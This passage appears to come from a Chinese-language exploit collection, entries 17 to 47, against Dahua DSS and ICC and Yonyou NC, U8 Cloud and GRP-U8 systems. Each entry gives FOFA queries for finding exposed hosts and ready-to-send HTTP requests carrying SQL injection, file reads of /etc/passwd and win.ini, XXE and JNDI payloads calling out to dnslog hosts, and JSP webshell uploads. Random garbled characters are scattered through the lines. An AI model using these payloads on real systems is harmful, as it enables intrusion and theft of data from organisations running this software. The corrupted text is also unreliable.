GET /api/switch-value/list?sorts=%5B%7B%22Field%22:%221-CONVERT(VARCHAR(32),%20HASHBYTES(%27MD5%27,%20%271234%27),%202);%22%7D%5D&conditions=%5B%5D&_ZQA_ID=4dc296c6c69905a7 HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
) P# @+ S) x, V  xConnection: close
+ g) E3 T+ {' `* U4 j' c" E1 I0 xAccept: */*
; x0 \$ }: _: t- x# ~/ ?Accept-Language: en
, ]3 R- I: s6 [Accept-Encoding: gzip
$ [, P5 V! q: j
  L% O3 r# D' `; t5 n
. Y% G" t" M/ h$ u5 h* S1 n$ a) {17. 大华 DSS itcBulletin SQL 注入
" d/ X! K$ \' T, R6 fFOFA：app="dahua-DSS"
POST /portal/services/itcBulletin?wsdl HTTP/1.1
Host: x.x.x.x
. X) ]+ I$ ?2 m% u4 AUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
& m3 q8 q+ E# R8 N: P$ r0 D4 Y: C8 `) kContent-Length: 345
* w/ e; n4 ]# {. W6 ]# kAccept-Encoding: gzip

2 k2 M0 K1 B+ ]$ B% L* F" d<s11:Envelope xmlns:s11='http://schemas.xmlsoap.org/soap/envelope/'>
<s11:Body>
    <ns1:deleteBulletin xmlns:ns1='http://itcbulletinservice.webservice.dssc.dahua.com'>
      <netMarkings>
3 B! r$ f4 E4 Y       (updatexml(1,concat(0x7e,md5(102103122),0x7e),1))) and (1=1
      </netMarkings>
) }( D  l' [4 X: Y  _; x/ p& _    </ns1:deleteBulletin>
  </s11:Body>
</s11:Envelope>
* E2 Z% ~! \* Y  t5 ~

18. 大华 DSS 数字监控系统 user_edit.action 信息泄露
7 L0 Z$ R5 {; X. [. BFOFA：app="dahua-DSS"
GET /admin/cascade_/user_edit.action?id=1 HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
! k& a' C3 e' @$ ^3 rAccept-Encoding: gzip, deflate
. L' N- s( O! J9 J; k' BAccept: */*
Connection: keep-alive

3 M7 _) _! ?" q. X0 L- f

6 k# G; z2 ~- X1 H7 B. n* @19. 大华 DSS 数字监控系统 attachment_clearTempFile.action SQL注入
FOFA：app="dahua-DSS"
GET /portal/attachment_clearTempFile.action?bean.RecId=1%27)%20AND%20EXTRACTVALUE(8841,CONCAT(0x7e,user(),0x7e))%20AND%20(%27mYhO%27=%27mYhO&bean.TabName=1 HTTP/1.1
Host:
User-Agent:Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
$ }  i5 j6 `+ VAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
( \, P9 F& w1 e& O5 c6 O

20. 大华ICC智能物联综合管理平台任意文件读取
FOFA：body="*客户端会小于800*"
- n5 T0 m: K& V4 S0 tGET /evo-apigw/evo-cirs/file/readPic?fileUrl=file:/etc/passwd HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
- `* i" \) ~1 d/ Q( [% U/ oAccept: */*
Accept-Language: en
4 q8 y' s, m( }; w$ f& ~Accept-Encoding: gzip

# ^: H) k" e0 p! _, l4 B- p/ X6 P
21. 大华ICC智能物联综合管理平台random远程代码执行
FOFA：icon_hash="-1935899595"
  d" j# F4 j& _+ `* h9 O, EPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
5 `' U  o. v. \: m4 i! RContent-Length: 161
2 Q& D; M2 h& d9 Q* ]! v& c9 \Accept-Encoding: gzip
' z* i- S# Q+ j+ x; G: A7 t, cConnection: close
Content-Type: application/json;charset=utf-8
, u* H. A3 S. s3 z4 C1 I+ g, ]
: m4 U/ c& v; m& F, m+ x{
" W  d6 P3 t2 {# f6 P2 e"a":{
   "@type":"com.alibaba.fastjson.JSONObject",
    {"@type":"java.net.URL","val":"http://farr9frh.dnslog.pw"}
. ]: ?0 C$ V. B) Z" l+ j3 b, I" B3 o( Y  }""
}

4 u- ?0 A$ S# S# E  e; k$ x
22. 大华ICC智能物联综合管理平台 log4j远程代码执行
  V! a9 U. K. @, H0 RFOFA：icon_hash="-1935899595"
/ F$ J. \& I' j, c: hPOST /evo-apigw/evo-brm/1.2.0/user/is-exist HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
Content-Type: application/json;charset=utf-8

" {; ^( ?9 x6 h5 n+ \{
! M0 {6 t. X4 B, |0 x"loginName":"${jndi:ldap://dnslog}"
}
6 P- ]3 F/ A4 a) I6 @
5 v+ P4 e. [8 D" O5 }, ^

23. 大华ICC智能物联综合管理平台 fastjson远程代码执行
4 N+ h; t6 Y7 ZFOFA：icon_hash="-1935899595"
7 p! \+ |- ~8 q% _2 O% DPOST /evo-runs/v1.0/auths/sysusers/random HTTP/1.1
% P! P) \; {9 ?- T2 fHost: your-ip
% ]' R) C* v: R& |/ s  _2 d" OUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 G/ G, b# U7 z' @& q2 J! o  VContent-Type: application/json;charset=utf-8
Accept-Encoding: gzip
Connection: close
5 ], m: L: @) @
7 n. T( k2 V, _: P5 V% Z' d( u{
! ~. U7 K8 U9 M% e$ r+ d" Z    "a":{
+ q- n( g6 D& k( @, u        "@type":"com.alibaba.fastjson.JSONObject",
8 U. [+ J$ ]) n$ f- V       {"@type":"java.net.URL","val":"http://DNSLOG"}
        }""
! {* ~. r8 S$ d) a2 p4 q( L2 \6 ^) Q}
, R+ |2 ?; T; p9 d! b7 h: U
* a" x3 k% H/ ?$ P
24. 用友NC 6.5 accept.jsp任意文件上传
. T, H4 e0 f9 {FOFA：icon_hash="1085941792"
% m, U' \8 B9 ?) {; D6 p; IPOST /aim/equipmap/accept.jsp HTTP/1.1
Host: x.x.x.x
1 B+ n3 W0 r" ^5 C, kUser-Agent: Mozilla/5.0 (X11; OpenBSD i386) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.125 Safari/537.36
Connection: close
Content-Length: 449
Accept: */*
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=---------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc

-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="upload"; filename="2XpU7VbkFeTFZZLbSMlVZwJyOxz.txt"
Content-Type: text/plain
2 ]# l& [$ B, ?) [
' ^: m; ~) q8 x/ O0 V<% out.println("2XpU7Y2Els1K9wZvOlSmrgolNci"); %>
4 L! Q: v6 {& R1 T) R3 x: F4 `-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc
Content-Disposition: form-data; name="fname"

\webapps\nc_web\2XpU7WZCxP3YJqVaC0EjlHM5oAt.jsp
-----------------------------yFeOihSQU1QYLu0KwhX72U5C1sMYc--
0 b# ~9 ?3 N8 I; l' Y  Q

5 g; `5 k$ [& @5 A$ n25. 用友NC registerServlet JNDI 远程代码执行
8 N; G! h/ C0 B& W4 p% j; H6 I: XFOFA：app="用友-UFIDA-NC"
POST /portal/registerServlet HTTP/1.1
Host: your-ip
% O$ [' Q+ ]" K& ~User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:71.0) Gecko/20100101 Firefox/71.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*; q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh,en-US;q=0.9,en-GB;q=0.8,en;q=0.7,zh-CN;q=0.6
Content-Type: application/x-www-form-urlencoded

type=1&dsname=ldap://dnslog

8 j% M* Q9 D4 l- ~; L
! U2 z, S) U. V" i9 M% Z- v5 f# m
26. 用友NC linkVoucher SQL注入
FOFA：app="用友-UFIDA-NC"
( W  t' y# Y  n* K* |# S/ p' a, {9 uGET /portal/pt/yercommon/linkVoucher?pageId=login&pkBill=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
  ~' d4 n" R) |# q: M4 c) K. _User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
5 S! c: D$ ^7 R' k" UContent-Type: application/x-www-form-urlencoded
7 a2 u8 J' E# N7 ~% iAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive


  c8 K7 @8 `) j, p5 o  D# S27. 用友 NC showcontent SQL注入
/ H) R/ t8 {* x+ \7 ?FOFA：icon_hash="1085941792"
8 }: a+ h  V/ N2 b  L0 ^. MGET /ebvp/infopub/showcontent?id=1'+AND+1=DBMS_PIPE.RECEIVE_MESSAGE(1,5)-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
( e7 l! t6 j) X/ a/ CAccept-Encoding: identity
) H2 J: b  Q& ]0 @- R) k& uConnection: close
/ U( E7 ?, x+ qContent-Type: text/xml; charset=utf-8


) t) y2 B8 T( D& t3 Z28. 用友NC grouptemplet 任意文件上传
FOFA：icon_hash="1085941792"
. L1 |- P* H( Q. ]! v7 ?POST /uapim/upload/grouptemplet?groupid=nc&fileType=jsp HTTP/1.1
% v/ g& I+ o" q8 d5 \; d  jHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
' B! i' L* s1 z) `Connection: close
Content-Length: 268
Content-type: multipart/form-data; boundary=----------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Accept-Encoding: gzip
3 C: s$ J+ h. _* h# }. l0 P5 ~
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk
Content-Disposition: form-data; name="upload"; filename="2fiu0YTGkaX2DrJlUZZP5IGvNvk.jsp"
Content-Type: application/octet-stream

. A* M4 L& f6 G. Z4 ^: R<%out.println("2fiu0WM4788fa6NcMHipkIthTTW");%>
------------ny4hGVLLpZPZm0CE3KNtyhNSXvFgk--
% @( S. a; X; h2 n. f8 m; a
9 v. b. @1 l1 p5 R; d7 e
/uapim/static/pages/nc/head.jsp

( G7 {$ }4 J+ {6 w1 |6 |9 c29. 用友NC down/bill SQL注入
# h% A0 h+ s7 n# G/ n# fFOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
0 @2 ^9 a" L' u- L4 I# i3 uGET /portal/pt/erfile/down/bill?pageId=login&id=1'+AND+4563=DBMS_PIPE.RECEIVE_MESSAGE(CHR(65),5)-- HTTP/1.1
  K3 L* g) ?* E4 M) T% o) THost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
. B2 [$ {; K% z: ^1 i# jAccept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
: N' a' N3 I  M# t( G& O

30. 用友NC importPml SQL注入
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
8 J% M, F% f$ H( ~9 m0 K# \POST /portal/pt/portalpage/importPml?pageId=login&billitem=1'WAITFOR+DELAY+'0:0:5'-- HTTP/1.1
: q( l) @% b  N. P# I- S$ RHost: your-ip
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryH970hbttBhoCyj9V
( a" P( ?8 _3 j5 s" {User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/123.0.0.0 Safari/537.36
! h" C9 W% Z3 ]2 g" DConnection: close

------WebKitFormBoundaryH970hbttBhoCyj9V
Content-Disposition: form-data; name="Filedata"; filename="1.jpg"
" ?0 ^8 Q% X2 w; J! hContent-Type: image/jpeg
0 z$ u5 w1 c. c' K7 R; k6 {+ G------WebKitFormBoundaryH970hbttBhoCyj9V--
- f2 B+ g3 e4 e
2 y& N% _9 y6 U' p) ]
31. 用友NC runStateServlet SQL注入
version<=6.5
FOFA：icon_hash="1085941792" && body="/logo/images/logo.gif"
GET /portal/pt/servlet/runStateServlet/doPost?pageId=login&proDefPk=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: host
5 U' M# `# a( nUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
# \0 h2 c7 Y6 i: g& l- T; |. fContent-Type: application/x-www-form-urlencoded
5 ?/ f& }5 t* @0 y* r0 K  c
) O6 i* w; c3 E
, ?  T# U0 C5 m5 O4 Z32. 用友NC complainbilldetail SQL注入
# E: R# X5 ]. Xversion= NC633、NC65
# C* i" z0 o( k  X" O% jFOFA：app="用友-UFIDA-NC"
GET /ebvp/advorappcoll/complainbilldetail?pageId=login&pk_complaint=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
4 y* L+ ?$ O0 a- ]+ RContent-Type: application/x-www-form-urlencoded
+ U7 H( h0 W( N4 l; V% _/ GAccept-Encoding: gzip, deflate
; J% C. y( a2 t) n& w' m" G7 NAccept: */*
Connection: keep-alive
+ x  w2 E+ S: \) I% f2 d# F

5 n" D8 c- H5 _, q# b3 s$ e9 O33. 用友NC downTax/download SQL注入
9 H: }4 ?8 j5 ]; hversion：NC6.5FOFA：app="用友-UFIDA-NC"
0 f' {5 w7 i3 k- t  [GET /portal/pt/downTax/download?pageId=login&classid=1'waitfor+delay+'0:0:5'-- HTTP/1.1
8 Q7 Z' W; y1 u! ]* mHost: your-ip
, m1 H) ?3 c7 DUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
% Z/ Q3 n6 h8 R  n9 N; X( IAccept-Encoding: gzip, deflate
* B/ \7 l; b; H+ ZAccept: */*
Connection: keep-alive


34. 用友NC warningDetailInfo接口SQL注入
FOFA：app="用友-UFIDA-NC"
GET /ebvp/infopub/warningDetailInfo?pageId=login&pkMessage=1'waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.77 Safari/537.36
Content-Type: application/x-www-form-urlencoded
Accept-Encoding: gzip, deflate
Accept: */*
: c6 K& J: ]$ [8 \6 EConnection: keep-alive

/ r( o# k( X8 j0 @( x
35. 用友NC-Cloud importhttpscer任意文件上传
4 |: g9 f# ?& q5 C) t  DFOFA：app="用友-NC-Cloud"
POST /nccloud/mob/pfxx/manualload/importhttpscer HTTP/1.1
; R# t1 y0 L) c7 g$ E* {Host: 203.25.218.166:8888
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
1 ~" O! Q) m. F; T- i: g8 T5 }Accept-Encoding: gzip, deflate
3 M. l) d) F* X" @1 G1 ~9 F; BAccept: */*
Connection: close
accessToken: eyJhbGciOiJIUzUxMiJ9.eyJwa19ncm91cCI6IjAwMDE2QTEwMDAwMDAwMDAwSkI2IiwiZGF0YXNvdXJjZSI6IjEiLCJsYW5nQ29kZSI6InpoIiwidXNlclR5cGUiOiIxIiwidXNlcmlkIjoiMSIsInVzZXJDb2RlIjoiYWRtaW4ifQ.XBnY1J3bVuDMYIfPPJXb2QC0Pdv9oSvyyJ57AQnmj4jLMjxLDjGSIECv2ZjH9DW5T0JrDM6UHF932F5Je6AGxA
- G' k! x5 c3 M3 ]$ WContent-Length: 190
" j0 B! C& S7 O2 `& o* tContent-Type: multipart/form-data; boundary=fd28cb44e829ed1c197ec3bc71748df0
/ G; Q$ U; R. E. b
% n  x& p- ?' k) |1 C; ?: D* M2 L) c--fd28cb44e829ed1c197ec3bc71748df0
2 t5 r6 T% f# h, p9 LContent-Disposition: form-data; name="file"; filename="./webapps/nc_web/1.jsp"
: d9 b3 E9 {: n1 S- ]" K$ s
<%out.println(1111*1111);%>
--fd28cb44e829ed1c197ec3bc71748df0--
2 [9 E; `' Y; y
+ K3 A9 H; U, U! O. y% n
) k7 w  q% o( i$ Q7 U8 ~36. 用友NC-Cloud soapFormat XXE
FOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
1 U7 R  k" B( L8 B6 p8 _- S, RPOST /uapws/soapFormat.ajax HTTP/1.1
  i$ E3 l; Z) C/ h9 eHost: 192.168.40.130:8989
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/109.0
8 C( l8 F5 U7 K& b$ H* b: KContent-Length: 263
# M2 W4 I% t9 ~- A0 J9 I& mAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
3 [/ l4 `' B# R. _# qAccept-Encoding: gzip, deflate
  K: N, ]9 u* k" XAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
/ R* t+ Y6 E! Z! IContent-Type: application/x-www-form-urlencoded
, D8 H9 _' m3 |3 qUpgrade-Insecure-Requests: 1
6 K1 }" m  y  g; k% A6 U$ ~
4 b0 I# z* y2 P5 \8 |% X: Nmsg=<!DOCTYPE foo[<!ENTITY xxe1two SYSTEM "file:///C://windows/win.ini"> ]><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body><soap:Fault><faultcode>soap:Server%26xxe1two%3b</faultcode></soap:Fault></soap:Body></soap:Envelope>%0a
' e0 [) P) w$ E* z

" M/ X- a5 s/ y* D, _37. 用友NC-Cloud IUpdateService XXE
+ Y& e, t3 n6 kFOFA：body="/Client/Uclient/UClient.exe"||body="ufida.ico"||body="nccloud"||body="/api/uclient/public/"
POST /uapws/service/nc.uap.oba.update.IUpdateService HTTP/1.1
/ D$ F: o$ `) kHost: 192.168.40.130:8989
& n! Q, w- S4 R8 Z, T' N6 pUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/96.0.4664.93 Safari/537.36
2 u, Z7 }  `8 UContent-Length: 421
. Z, A- X' i# ]  oAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
5 _8 z" W$ u3 e1 ^9 @; CAccept-Language: zh-CN,zh;q=0.9
Connection: close
Content-Type: text/xml;charset=UTF-8
SOAPAction: urn:getResult
# G# C2 v: L$ {0 K& Y- M4 K0 r) BUpgrade-Insecure-Requests: 1

2 s8 l2 M: y% e! a: H# e1 p: E<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:iup="http://update.oba.uap.nc/IUpdateService">
% `- L) l- `) G9 G# A' E, ~2 z<soapenv:Header/>
6 y. d- K! Q  C" @<soapenv:Body>
<iup:getResult>
$ R" x! @8 H* U5 p3 B! f' N& s+ A. P<!--type: string-->
<iup:string><![CDATA[
<!DOCTYPE xmlrootname [<!ENTITY % aaa SYSTEM "http://c2vkbwbs.dnslog.pw">%aaa;%ccc;%ddd;]>
<xxx/>]]></iup:string>
</iup:getResult>
8 U! E- Z3 C6 ?% ?" ?8 h: a</soapenv:Body>
# s) h1 [4 N% B' A</soapenv:Envelope>

, U, `! \8 V3 i4 s

* [- x5 t) R, t" w& e' \8 w38. 用友U8 Cloud smartweb2.RPC.d XXE
+ E, b/ x( e( }; [FOFA：app="用友-U8-Cloud"
POST /hrss/dorado/smartweb2.RPC.d?__rpc=true HTTP/1.1
' F: i. ~* Y0 n3 `( P: qHost: 192.168.40.131:8088
, \' f9 l& {$ H3 O2 CUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 12_10) AppleWebKit/600.1.25 (KHTML, like Gecko) Version/12.0 Safari/1200.1.25
Content-Length: 260
- U; z4 \+ @8 A* v4 V4 r* |4 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
% v9 i- C# J- B- k9 J! n) {Connection: close
3 w1 {; z/ F$ [7 x' GContent-Type: application/x-www-form-urlencoded
/ \" R0 O4 g) Q6 j& p+ P8 y3 r
__viewInstanceId=nc.bs.hrss.rm.ResetPassword~nc.bs.hrss.rm.ResetPasswordViewModel&__xml=<!DOCTYPE z [<!ENTITY Password SYSTEM "file:///C://windows//win.ini" >]><rpc transaction="10" method="resetPwd"><vps><p name="__profileKeys">%26Password;</p ></vps></rpc>


8 C$ b" ?5 q. I) ]& {( [4 f8 l39. 用友U8 Cloud RegisterServlet SQL注入
FOFA：title="u8c"
6 W9 E/ e3 \6 M  HPOST /servlet/RegisterServlet HTTP/1.1
Host: 192.168.86.128:8089
7 B2 s* X6 W* S  h& A3 f' |2 JUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_8_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2866.71 Safari/537.36
' q7 ?9 |' H5 F9 v3 b6 F# kConnection: close
% h. x7 l, M0 Y' h" cContent-Length: 85
  H3 [$ b, J4 s2 I( y  d5 vAccept: */*
+ H, d/ ~1 l0 WAccept-Language: en
Content-Type: application/x-www-form-urlencoded
X-Forwarded-For: 127.0.0.1
Accept-Encoding: gzip
1 {( w! A. i2 D6 [( V& a4 i. b$ p
usercode=1' and substring(sys.fn_sqlvarbasetostr(HashBytes('MD5','123456')),3,32)>0--


: S$ [; X3 x7 u- `/ |* D+ o  `4 s40. 用友U8-Cloud XChangeServlet XXE
FOFA：app="用友-U8-Cloud"
POST /service/XChangeServlet HTTP/1.1
" S- o! C9 W# N1 H, t  ~& MHost: x.x.x.x
! X$ e3 @! d4 j1 d9 xUser-Agent: Mozilla/5.0 (Windows NT 6.3; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
: C8 a, {9 a$ n! nContent-Type: text/xml
: p1 P& }# I' t+ ^$ ?- ?Connection: close

<!DOCTYPE r [<!ELEMENT r ANY ><!ENTITY xxe SYSTEM "http://farr9frh.dnslog.pw">]><r><a>&xxe;</a ></r>
8 g8 \& [2 u0 A' v9 S. M; ^! B

1 `% S! P  m8 o; @) x- R* m41. 用友U8 Cloud MeasureQueryByToolAction SQL注入
, b* i1 Z/ z, {# o& g; NFOFA：app="用友-U8-Cloud"
& \" _/ Z5 i' u9 wGET /service/~iufo/com.ufida.web.action.ActionServlet?action=nc.ui.iufo.query.measurequery.MeasureQueryByToolAction&method=execute&query_id=1%27);WAITFOR+DELAY+%270:0:5%27--+ HTTP/1.1
Host:
. ~* I% ?% p5 N7 ?8 BUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Type: application/json
( m- i% z3 Y0 Y' ?! a# wAccept-Encoding: gzip
Connection: close

/ \4 k3 i9 t: C7 p8 X
! D( u7 O3 w: Y3 O42. 用友GRP-U8 SmartUpload01 文件上传
# L$ f- C/ f) E' p  f' \8 cFOFA：app="用友-GRP-U8"
POST /u8qx/SmartUpload01.jsp HTTP/1.1
) }$ p5 ]5 n7 CHost: x.x.x.x
" p5 ~) F! n! F  R9 X9 D% VContent-Type: multipart/form-data; boundary=----WebKitFormBoundaryzhvrkrqt
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_10_1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/37.0.2062.124 Safari/537.36
, W' D) u1 ?8 O. X
  [* X3 z3 x* o- w: kPAYLOAD
! H+ M% Q1 ^+ x) [  E" E
. N3 q- D7 v  u5 ?9 M2 P4 \+ j
http://x.x.x.x/jatoolsreport?file=/1.pdf&as=dhtml
9 ]+ O# `* n* O" P
43. 用友GRP-U8 userInfoWeb SQL注入致RCE
FOFA：app="用友-GRP-U8"
. _1 K& N; v2 {& X; nPOST /services/userInfoWeb HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
6 k9 J8 a+ X2 {9 p1 GAccept-Encoding: gzip, deflate
! u& S* a/ Z8 L* v9 E) mAccept-Language: zh-CN,zh;q=0.9
Connection: close
SOAPAction:
1 ?  [6 Y% u9 I/ K( `Content-Type: text/xml;charset=UTF-8
" n6 r! ]' O- I- r+ A
<soapenv:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ser="http://service.pt.midas.ufgov.com">
, Z4 h5 m( W% {, d) P   <soapenv:Header/>
+ C. E; u, m4 n6 L   <soapenv:Body>
+ w% I/ I- O: f/ a      <ser:getUserNameById soapenv:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/">
$ q8 G' A% a4 P0 W( v         <userId xsi:type="soapenc:string" xmlns:soapenc="http://schemas.xmlsoap.org/soap/encoding/">';waitfor delay '0:0:5'--</userId>
  {; E! h; Z+ O' J      </ser:getUserNameById>
   </soapenv:Body>
+ b! H2 L% f3 w</soapenv:Envelope>

7 x  ~+ m. g; P9 n' v6 ^& |
# y& S: z, S; r# @44. 用友GRP-U8 bx_dj_check.jsp SQL注入
# C6 M, C- ]$ y3 Y! o6 pFOFA:app="用友-GRP-U8"
( K3 [; P. w4 [9 n3 c# ?- xGET /u8qx/bx_dj_check.jsp?djlxdm=OER&djid=1';waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
% ^7 ]1 ^0 O0 N) Q; N% e7 yAccept-Encoding: gzip, deflate
- C6 P& _1 T# Y: x1 wAccept-Language: zh-CN,zh;q=0.9
Connection: close
& c7 x( z# @( d7 b- L

% d0 x( o* W! N. ~, d2 ]4 }45. 用友GRP-U8 ufgovbank XXE
FOFA：app="用友-GRP-U8"
# l* Z7 {; l- X0 DPOST /ufgovbank HTTP/1.1
Host: 192.168.40.130:222
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:104.0) Gecko/20100101 Firefox/104.0
Connection: close
Content-Length: 161
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded
& q- B: }( Q, E( B1 RAccept-Encoding: gzip
0 @9 c. _( [0 X% @
reqData=<?xml version="1.0"?>
, p) [$ N$ P6 g! j" K<!DOCTYPE foo SYSTEM "http://c2vkbwbs.dnslog.pw">&signData=1&userIP=1&srcFlag=1&QYJM=0&QYNC=adaptertest
* l& H3 X7 W0 B8 ?6 ]/ X) \9 {

46. 用友GRP-U8 sqcxIndex.jsp SQL注入
% R) `" z2 L/ I9 ?% T& BFOFA：app="用友-GRP-U8"
6 q3 ?) T6 F, V5 K7 FGET /u8qx/sqcxIndex.jsp?key=1');+waitfor+delay+'0:0:5'-- HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/112.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
( a, k. ^" _9 f' `5 J5 I$ H1 P/ Q0 |Accept-Encoding: gzip, deflate
) l- h8 ?/ y8 w/ dAccept-Language: zh-CN,zh;q=0.9
Connection: close

4 c! B9 ^6 k8 w: ^3 X4 t: [% M
. p; h# X& L  I1 t8 K, ]47. 用友GRP A++Cloud 政府财务云 任意文件读取
8 b- i- l9 Q9 |" S( o* v4 AFOFA：body="/pf/portal/login/css/fonts/style.css"
, c/ O2 s2 C: |% R+ ^8 t" _+ W- {: NGET /ma/emp/maEmp/download?fileName=../../../etc/passwdHTTP/1.1
Host: x.x.x.x
